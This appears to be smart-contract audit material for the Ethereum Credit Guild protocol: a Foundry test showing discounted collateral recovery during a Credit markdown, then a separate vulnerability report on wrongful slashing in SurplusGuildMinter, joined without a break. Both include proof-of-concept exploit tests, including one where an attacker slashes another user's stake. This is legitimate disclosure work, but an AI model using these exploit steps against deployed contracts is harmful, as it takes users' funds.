import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";

import {Test} from "@forge-std/Test.sol";
import {Core} from "@src/core/Core.sol";
import {CoreRoles} from "@src/core/CoreRoles.sol";
import {MockERC20} from "@test/mock/MockERC20.sol";
import {SimplePSM} from "@src/loan/SimplePSM.sol";
import {GuildToken} from "@src/tokens/GuildToken.sol";
import {CreditToken} from "@src/tokens/CreditToken.sol";
import {LendingTerm} from "@src/loan/LendingTerm.sol";
import {AuctionHouse} from "@src/loan/AuctionHouse.sol";
import {ProfitManager} from "@src/governance/ProfitManager.sol";
import {RateLimitedMinter} from "@src/rate-limits/RateLimitedMinter.sol";

contract ReceiveCollatAtDiscount is Test {
    address private governor = address(1);
    address private guardian = address(2);
    address borrower = address(0x02020202);
    address borrower2 = address(0x03030303);
    Core private core;
    ProfitManager private profitManager;
    CreditToken credit;
    GuildToken guild;
    MockERC20 collateral;
    MockERC20 USDC;
    SimplePSM private psm;
    RateLimitedMinter rlcm;
    AuctionHouse auctionHouse;
    LendingTerm term;

    uint256 constant _CREDIT_PER_COLLATERAL_TOKEN = 1e18; // 1:1
    uint256 constant _INTEREST_RATE = 0.04e18; // 4% APR
    uint256 constant _MAX_DELAY_BETWEEN_PARTIAL_REPAY = 0;
    uint256 constant _MIN_PARTIAL_REPAY_PERCENT = 0;
    uint256 constant _HARDCAP = 2_000_000e18; // 2 million

    uint256 public issuance = 0;

    function setUp() public {
        vm.warp(1679067867);
        vm.roll(16848497);
        core = new Core();

        profitManager = new ProfitManager(address(core));
        collateral = new MockERC20();
        USDC = new MockERC20(); // 18 decimals for easy calculations 
        credit = new CreditToken(address(core), "name", "symbol");
        guild = new GuildToken(
            address(core),
            address(profitManager)
        );
        rlcm = new RateLimitedMinter(
            address(core) /*_core*/,
            address(credit) /*_token*/,
            CoreRoles.RATE_LIMITED_CREDIT_MINTER /*_role*/,
            0 /*_maxRateLimitPerSecond*/,
            0 /*_rateLimitPerSecond*/,
            uint128(_HARDCAP) /*_bufferCap*/
        );
        auctionHouse = new AuctionHouse(address(core), 650, 1800);
        term = LendingTerm(Clones.clone(address(new LendingTerm())));
        term.initialize(
            address(core),
            LendingTerm.LendingTermReferences({
                profitManager: address(profitManager),
                guildToken: address(guild),
                auctionHouse: address(auctionHouse),
                creditMinter: address(rlcm),
                creditToken: address(credit)
            }),
            LendingTerm.LendingTermParams({
                collateralToken: address(collateral),
                maxDebtPerCollateralToken: _CREDIT_PER_COLLATERAL_TOKEN,
                interestRate: _INTEREST_RATE,
                maxDelayBetweenPartialRepay: _MAX_DELAY_BETWEEN_PARTIAL_REPAY,
                minPartialRepayPercent: _MIN_PARTIAL_REPAY_PERCENT,
                openingFee: 0,
                hardCap: _HARDCAP
            })
        );
        psm = new SimplePSM(
            address(core),
            address(profitManager),
            address(credit),
            address(USDC)
        );
        profitManager.initializeReferences(address(credit), address(guild), address(psm));

        // roles
        core.grantRole(CoreRoles.GOVERNOR, governor);
        core.grantRole(CoreRoles.GUARDIAN, guardian);
        core.grantRole(CoreRoles.CREDIT_MINTER, address(this));
        core.grantRole(CoreRoles.GUILD_MINTER, address(this));
        core.grantRole(CoreRoles.GAUGE_ADD, address(this));
        core.grantRole(CoreRoles.GAUGE_REMOVE, address(this));
        core.grantRole(CoreRoles.GAUGE_PARAMETERS, address(this));
        core.grantRole(CoreRoles.CREDIT_MINTER, address(rlcm));
        core.grantRole(CoreRoles.RATE_LIMITED_CREDIT_MINTER, address(term));
        core.grantRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(term));
        core.grantRole(CoreRoles.CREDIT_MINTER, address(psm));
        core.grantRole(CoreRoles.CREDIT_REBASE_PARAMETERS, address(psm));
        core.renounceRole(CoreRoles.GOVERNOR, address(this));

        // add gauge 
        guild.setMaxGauges(10);
        guild.addGauge(1, address(term));
    }

    function testReceiveCollateralAtDiscountAndLeakValue() public {
        // setup
        // 100% of profit goes to surplus buffer
        vm.prank(governor);
        profitManager.setProfitSharingConfig(
            1e18, // surplusBufferSplit
            0, // creditSplit
            0, // guildSplit
            0, // otherSplit
            address(0) // otherRecipient
        );

        // debt ceiling for term is increased
        guild.mint(address(this), 1);
        guild.incrementGauge(address(term), 1);

        // borrower1 takes out loan for 1_000e18 Credit
        collateral.mint(borrower, 1_000e18);
        vm.startPrank(borrower);
        collateral.approve(address(term), 1_000e18);
        bytes32 loanId1 = term.borrow(1_000e18, 1_000e18);
        vm.stopPrank();

        // borrower2 takes out a loan for 1_000e18 Credit
        collateral.mint(borrower2, 1_000e18);
        vm.startPrank(borrower2);
        collateral.approve(address(term), 1_000e18);
        bytes32 loanId2 = term.borrow(1_000e18, 1_000e18);
        vm.stopPrank();

        // 1 year passes and both borrowers owe the same principle + interest
        vm.roll(block.number + 1);
        vm.warp(block.timestamp + term.YEAR());

        assertEq(term.getLoanDebt(loanId1), 1_040e18);
        assertEq(term.getLoanDebt(loanId2), 1_040e18);

        // term is offboarded
        guild.removeGauge(address(term));
        assertEq(guild.isGauge(address(term)), false);

        // borrower1's loan is called
        term.call(loanId1);
        assertEq(term.getLoan(loanId1).callTime, block.timestamp);

        // borrowers still owe the same for their loans
        assertEq(term.getLoanDebt(loanId1), 1_040e18);
        assertEq(term.getLoanDebt(loanId2), 1_040e18);

        // bad debt is created/Credit is marked down while both loans are in auction
        vm.prank(address(term));
        profitManager.notifyPnL(address(term), -40e18);

        assertEq(profitManager.creditMultiplier(), 0.98e18);

        // borrower2 now owes more than borrower1, due to the markdown
        assertEq(term.getLoanDebt(loanId1), 1_040e18); // 1_040
        assertEq(term.getLoanDebt(loanId2), 1061224489795918367346); // ~ 1_061.2

        // borrower1 bids during the first phase of their auction and receives their collateral at a discount
        assertEq(collateral.balanceOf(borrower), 0); // borrower has 0 collateral to start
        assertEq(credit.balanceOf(address(profitManager)), 0); // profitManager has received 0 interest

        uint256 collateralExpected = term.getLoan(loanId1).collateralAmount;
        
        credit.mint(borrower, 40e18);
        vm.startPrank(borrower);
        credit.approve(address(term), 1_040e18);
        auctionHouse.bid(loanId1);
        vm.stopPrank();

        uint256 collateralReceived = collateral.balanceOf(borrower);
        assertEq(collateralExpected, collateralReceived);

        // interest received by the protocol for borrower1's loan
        // expected interest is 40e18 (4% of original 1_000 loan)
        uint256 interestReceivedLoan1 = credit.balanceOf(address(profitManager));

        assertEq(interestReceivedLoan1, 19591836734693877552); // ~ 19.59e18, i.e. NOT 40e18

        // borrower2 repays his loan before it is called and pays the correct amount of inflated Credit
        assertEq(collateral.balanceOf(borrower2), 0); // borrower2 has 0 collateral to start
        assertEq(credit.balanceOf(address(profitManager)), 19591836734693877552); // profitManager interest received so far

        collateralExpected = term.getLoan(loanId2).collateralAmount;
        
        credit.mint(borrower2, 61224489795918367346);
        vm.startPrank(borrower2);
        credit.approve(address(term), 1061224489795918367346);
        term.repay(loanId2);
        vm.stopPrank();

        collateralReceived = collateral.balanceOf(borrower);
        assertEq(collateralExpected, collateralReceived);

        // interest received by protocol for borrower2's loan
        uint256 interestReceivedLoan2 = credit.balanceOf(address(profitManager));
        
        assertEq(interestReceivedLoan2, 60408163265306122450); // ~ 60e18 due to mark down

        // interest received from borrower1's loan is less than what is received from borrower2's loan
        assertLt(interestReceivedLoan1, interestReceivedLoan2);

        // Note: borrower1 paid less Credit for their full collateral than borrower2
        // the protocol received less interest from borrower1's loan than from borrower2's loan
    }
}

Recommendation

The callDebt for a loan should be calculated dynamically during an auction, with consideration of the current creditMultiplier.

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/loan/SurplusGuildMinter.sol#L216-L231

Vulnerability details

Bug Description

User's can stake into a gauge directly via the GuildToken or indirectly via the SurplusGuildMinter. When a user stakes into a new gauge (i.e. their weight goes from 0 to > 0) via GuildToken::incrementGauge their lastGaugeLossApplied mapping for this gauge, which is how the system keeps track of whether or not the user deserves to be slashed, is set to the current timestamp:

GuildToken.sol#L247-L256

247:        uint256 _lastGaugeLoss = lastGaugeLoss[gauge];
248:        uint256 _lastGaugeLossApplied = lastGaugeLossApplied[gauge][user];
249:        if (getUserGaugeWeight[user][gauge] == 0) {
250:            lastGaugeLossApplied[gauge][user] = block.timestamp;
251:        } else {
252:            require(
253:                _lastGaugeLossApplied >= _lastGaugeLoss,
254:                "GuildToken: pending loss"
255:            );
256:        }

This ensures that any loss that occured in the gauge before the user staked will result in the following condition: lastGaugeLossApplied[gauge][user] > lastGaugeLoss[gauge]. This means the user staked into the gauge after the gauge experienced a loss and therefore they can not be slashed:

GuildToken.sol#L133-L140

133:    function applyGaugeLoss(address gauge, address who) external {
134:        // check preconditions
135:        uint256 _lastGaugeLoss = lastGaugeLoss[gauge];
136:        uint256 _lastGaugeLossApplied = lastGaugeLossApplied[gauge][who];
137:        require(
138:            _lastGaugeLoss != 0 && _lastGaugeLossApplied < _lastGaugeLoss,
139:            "GuildToken: no loss to apply"
140:        );

The above function showcases the requirements that need to be met in order for a user to be slashed: the user must have been staked in the gauge when the gauge experienced a loss in order for the user to be slashed. With this in mind, let us observe the process that occurs when users stake via the SurplusGuildMinter:

When a user stakes into a gauge via the SurpluGuildMinter::stake function the SurplusGuildMinter::getRewards function is invoked:

SurplusGuildMinter.sol#L216-L236

216:    function getRewards(
217:        address user,
218:        address term
219:    )
220:        public
221:        returns (
222:            uint256 lastGaugeLoss, // GuildToken.lastGaugeLoss(term)
223:            UserStake memory userStake, // stake state after execution of getRewards()
224:            bool slashed // true if the user has been slashed
225:        )
226:    {
227:        bool updateState;
228:        lastGaugeLoss = GuildToken(guild).lastGaugeLoss(term);
229:        if (lastGaugeLoss > uint256(userStake.lastGaugeLoss)) {
230:            slashed = true;
231:        }
232:
233:        // if the user is not staking, do nothing
234:        userStake = _stakes[user][term];
235:        if (userStake.stakeTime == 0)
236:            return (lastGaugeLoss, userStake, slashed);

As seen above, this function will retrieve the lastGaugeLoss for the specified gauge (term) the user is staking into and will identify this user as being slashed, i.e. slashed = true, if lastGaugeLoss > userStake.lastGaugeLoss. The issue lies in the fact that at this point in the code execution the userStake struct is a freshly initialized memory struct and therefore all of the struct's fields are set to 0. Thus, the check on lines 229-230 are really doing the following:

        if (lastGaugeLoss > uint256(0)) {
            slashed = true;
        }

The above code will always set slashed to true if the specified gauge has experienced any loss in its history. Therefore, a gauge can have experienced a loss, been off-boarded, and then been re-onboarded at a future time and The SurplusGuildMinter will consider any user who stakes into this gauge to be slashed.

The code execution will then continue to lines 235-236, where the user's stake is retrieved from storage (it is initialized to all 0s since the user has not staked yet) and if the stakeTime field is 0 (it is), the execution returns to the GuildToken::stake function:

SurplusGuildMinter.sol#L114-L125

114:    function stake(address term, uint256 amount) external whenNotPaused {
115:        // apply pending rewards
116:        (uint256 lastGaugeLoss, UserStake memory userStake, ) = getRewards(
117:            msg.sender,
118:            term
119:        );
120:
121:        require(
122:            lastGaugeLoss != block.timestamp,
123:            "SurplusGuildMinter: loss in block"
124:        );
125:        require(amount >= MIN_STAKE, "SurplusGuildMinter: min stake");

The above code illustrates the only validation checks that are performed in this stake function. As long as the user is not attempting to stake into a gauge in the same block that the gauge experienced a loss, and the user is staking at least 1e18, the user's stake position will be initialized (the user will be allowed to stake their Credit):

SurplusGuildMinter.sol#L114-L125

139:        userStake = UserStake({
140:            stakeTime: SafeCastLib.safeCastTo48(block.timestamp),
141:            lastGaugeLoss: SafeCastLib.safeCastTo48(lastGaugeLoss),
142:            profitIndex: SafeCastLib.safeCastTo160(
143:                ProfitManager(profitManager).userGaugeProfitIndex(
144:                    address(this),
145:                    term
146:                )
147:            ),
148:            credit: userStake.credit + SafeCastLib.safeCastTo128(amount),
149:            guild: userStake.guild + SafeCastLib.safeCastTo128(guildAmount)
150:        });
151:        _stakes[msg.sender][term] = userStake;

The user would naturally perform the next actions: They can call SurplusGuildMinter::getRewards when they want to receive rewards and they can call SurplusGuildMinter::unstake when they want to unstake from their position, i.e. withdraw their deposited Credit. It is important to note that when the unstake function is called, similar to the stake function, the getRewards function will first be invoked. As we previously observed, the getRewards function will consider the user slashed if the gauge had previously experienced any loss in its history. Therefore, after a user has staked, any call to getRewards will result in the following logic to execute:

SurplusGuildMinter.sol#L274-L289

274:        if (slashed) {
275:            emit Unstake(block.timestamp, term, uint256(userStake.credit));
276:            userStake = UserStake({
277:                stakeTime: uint48(0),
278:                lastGaugeLoss: uint48(0),
279:                profitIndex: uint160(0),
280:                credit: uint128(0),
281:                guild: uint128(0)
282:            });
283:            updateState = true;
284:        }
285:
286:        // store the updated stake, if needed
287:        if (updateState) {
288:            _stakes[user][term] = userStake;
289:        }

As we can see above, when a user calls getRewards or unstake after staking into a gauge that has experienced a loss sometime in its history, the user's stake position will be deleted (slashed). If the user is attempting to unstake then the execution flow will continue in the unstake function:

SurplusGuildMinter.sol#L158-L166C25

158:    function unstake(address term, uint256 amount) external {
159:        // apply pending rewards
160:        (, UserStake memory userStake, bool slashed) = getRewards(
161:            msg.sender,
162:            term
163:        );
164:
165:        // if the user has been slashed, there is nothing to do
166:        if (slashed) return;

Since the user has been considered slashed, the execution will return on line 166 and the user will not be allowed to withdraw their staked Credit.

I would also like to note that the user will still have a chance to receive some earned Credit after the gauge experiences a profit. However, since the user is considered slashed, they will not be given any guild rewards:

SurplusGuildMinter.sol#L247-L264

247:        uint256 deltaIndex = _profitIndex - _userProfitIndex;
248:
249:        if (deltaIndex != 0) {
250:            uint256 creditReward = (uint256(userStake.guild) * deltaIndex) /
251:                1e18;
252:            uint256 guildReward = (creditReward * rewardRatio) / 1e18;
253:            if (slashed) {
254:                guildReward = 0;
255:            }
256:
257:            // forward rewards to user
258:            if (guildReward != 0) {
259:                RateLimitedMinter(rlgm).mint(user, guildReward);
260:                emit GuildReward(block.timestamp, user, guildReward);
261:            }
262:            if (creditReward != 0) {
263:                CreditToken(credit).transfer(user, creditReward);
264:            }

As seen above, if the user is eligible to claim rewards (the gauge they staked into has experienced a profit), then they will be sent creditReward of Credit. However, since they are considered slashed, their guildReward is set to 0. This scenario will only occur if no one calls getReward for this user before the gauge generates a profit. If any call to getReward for this user is invoked before that, the user will not be able to receive any rewards and in both situations they will lose their staked Credit.

An additional, lesser effect, is that the Guild which was minted on behalf of the user who staked will not be unstaked from the gauge, it will not be burned, and the RateLimitedGuildMinter's buffer will not be replenished. I.e. the following code from the unstake function will not execute:

SurplusGuildMinter.sol#L205-L208

205:        // burn GUILD
206:        GuildToken(guild).decrementGauge(term, guildAmount);
207:        RateLimitedMinter(rlgm).replenishBuffer(guildAmount);
208:        GuildToken(guild).burn(guildAmount);

Impact

User's utilizing the SurplusGuildMinter to stake into a gauge, which has previously experienced a loss sometime in its history, can be immediately slashed. This will result in the user losing out on any guild rewards (if they were staked into the gauge while it experienced a profit), but most importantly this will result in the user losing their staked principle (Credit).

To further illustrate the impact of this vulnerability lets consider the following scenario:

A gauge experiences a loss. The gauge is then off-boarded. The gauge is re-onboarded in the future. A user stakes into this gauge via the SurplusGuildMinter. A malicious actor immediately calls getRewards(gauge, user) and the user is slashed and loses their staked Credit.

Proof of Concept

The following test describes the main impact highlighted above in which a user stakes into a previously lossy gauge and is immediately slashed:

Place the following test inside of test/unit/loan/SurplusGuildMinter.t.sol:

    function testUserImmediatelySlashed() public {
        // initial state
        assertEq(guild.getGaugeWeight(term), 50e18);

        // add credit to surplus buffer
        credit.mint(address(this), 100e18);
        credit.approve(address(profitManager), 50e18);
        profitManager.donateToSurplusBuffer(50e18);

        // term incurs loss
        profitManager.notifyPnL(term, -50e18);
        assertEq(guild.lastGaugeLoss(term), block.timestamp);

        // term offboarded
        guild.removeGauge(term);
        assertEq(guild.isGauge(term), false);

        // time passes and term is re-onboarded
        vm.roll(block.number + 100);
        vm.warp(block.timestamp + (100 * 13));
        guild.addGauge(1, term);
        assertEq(guild.isGauge(term), true);

        // user stakes into term directly
        address user = address(0x01010101);
        guild.mint(user, 10e18);
        vm.startPrank(user);
        guild.incrementGauge(term, 10e18);
        vm.stopPrank();

        // user can un-stake from term
        vm.startPrank(user);
        guild.decrementGauge(term, 10e18);
        vm.stopPrank();

        // user stakes into term via sgm
        credit.mint(user, 10e18);
        vm.startPrank(user);
        credit.approve(address(sgm), 10e18);
        sgm.stake(term, 10e18);
        vm.stopPrank();
        
        // check after-stake state
        assertEq(credit.balanceOf(user), 0);
        assertEq(profitManager.termSurplusBuffer(term), 10e18);
        assertEq(guild.getGaugeWeight(term), 70e18);
        SurplusGuildMinter.UserStake memory userStake = sgm.getUserStake(user, term);
        assertEq(uint256(userStake.stakeTime), block.timestamp);
        assertEq(userStake.lastGaugeLoss, guild.lastGaugeLoss(term));
        assertEq(userStake.profitIndex, 0);
        assertEq(userStake.credit, 10e18);
        assertEq(userStake.guild, 20e18);

        // malicious actor is aware of bug and slashes the user's stake immediately, despite no loss occuring in the gauge
        sgm.getRewards(user, term);

        // check after-getReward state (user was slashed eventhough no loss has occured since term was re-onboarded)
        assertEq(credit.balanceOf(user), 0);
        assertEq(profitManager.termSurplusBuffer(term), 10e18);
        assertEq(guild.getGaugeWeight(term), 70e18);
        userStake = sgm.getUserStake(user, term);
        assertEq(uint256(userStake.stakeTime), 0);
        assertEq(userStake.lastGaugeLoss, 0);
        assertEq(userStake.profitIndex, 0);
        assertEq(userStake.credit, 0);
        assertEq(userStake.guild, 0);

        // user tries to unstake but will not receive anything
        uint256 userBalanceBefore = credit.balanceOf(user);
        vm.startPrank(user);
        sgm.unstake(term, 10e18);
        vm.stopPrank();
        uint256 userAfterBalance = credit.balanceOf(user);

        assertEq(userBalanceBefore, 0);
        assertEq(userAfterBalance, 0);
    }

Tools Used

manual

Recommended Mitigation Steps

Similar to how the GuildToken::incrementGauge function initializes a user's lastGaugeLossApplied value, the SurplusGuildMinter should initialize a user's userStake.lastGaugeLoss to block.timestamp. It should then compare the lastGaugeLoss to the user's stored userStake.lastGaugeLoss instead of comparing the lastGaugeLoss to a freshly initialized userStake memory struct, whose fields are all 0.

Assessed type

Other